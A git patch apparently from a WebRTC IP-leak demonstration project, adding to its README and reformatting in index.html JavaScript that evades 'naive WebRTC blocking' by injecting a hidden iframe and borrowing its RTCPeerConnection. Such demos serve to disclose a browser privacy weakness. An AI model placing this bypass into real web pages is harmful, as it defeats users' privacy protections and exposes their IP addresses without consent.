From bc5294e7b4f7addc0a0d226ffef921446d7da901 Mon Sep 17 00:00:00 2001 From: Daniel Roesler Date: Thu, 5 Feb 2015 11:34:41 -0800 Subject: [PATCH] added iframe exploit to readme --- README.md | 16 ++++++++++++++++ index.html | 25 ++++++++++++++----------- 2 files changed, 30 insertions(+), 11 deletions(-) diff --git a/README.md b/README.md index b9f1021..afbe9d7 100644 --- a/README.md +++ b/README.md @@ -21,6 +21,22 @@ function getIPs(callback){ var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + + //bypass naive webrtc blocking + if (!RTCPeerConnection) { + var iframe = document.createElement('iframe'); + iframe.style.display = 'none'; + document.body.appendChild(iframe); + var win = iframe.contentWindow; + window.RTCPeerConnection = win.RTCPeerConnection; + window.mozRTCPeerConnection = win.mozRTCPeerConnection; + window.webkitRTCPeerConnection = win.webkitRTCPeerConnection; + RTCPeerConnection = window.RTCPeerConnection + || window.mozRTCPeerConnection + || window.webkitRTCPeerConnection; + } + + //minimal requirements for data connection var mediaConstraints = { optional: [{RtpDataChannels: true}] }; diff --git a/index.html b/index.html index 66e5bb1..a53b300 100644 --- a/index.html +++ b/index.html @@ -28,19 +28,22 @@ var RTCPeerConnection = window.RTCPeerConnection || window.mozRTCPeerConnection || window.webkitRTCPeerConnection; + + //bypass naive webrtc blocking if (!RTCPeerConnection) { - //bypass naive webrtc blocking - var iframe = document.createElement('iframe'); - iframe.style.display = 'none'; - document.body.appendChild(iframe); - var win = iframe.contentWindow; - window.RTCPeerConnection = win.RTCPeerConnection; - window.mozRTCPeerConnection = win.mozRTCPeerConnection; - window.webkitRTCPeerConnection = win.webkitRTCPeerConnection; - RTCPeerConnection = window.RTCPeerConnection - || window.mozRTCPeerConnection - || window.webkitRTCPeerConnection; + var iframe = document.createElement('iframe'); + iframe.style.display = 'none'; + document.body.appendChild(iframe); + var win = iframe.contentWindow; + window.RTCPeerConnection = win.RTCPeerConnection; + window.mozRTCPeerConnection = win.mozRTCPeerConnection; + window.webkitRTCPeerConnection = win.webkitRTCPeerConnection; + RTCPeerConnection = window.RTCPeerConnection + || window.mozRTCPeerConnection + || window.webkitRTCPeerConnection; } + + //minimal requirements for data connection var mediaConstraints = { optional: [{RtpDataChannels: true}] };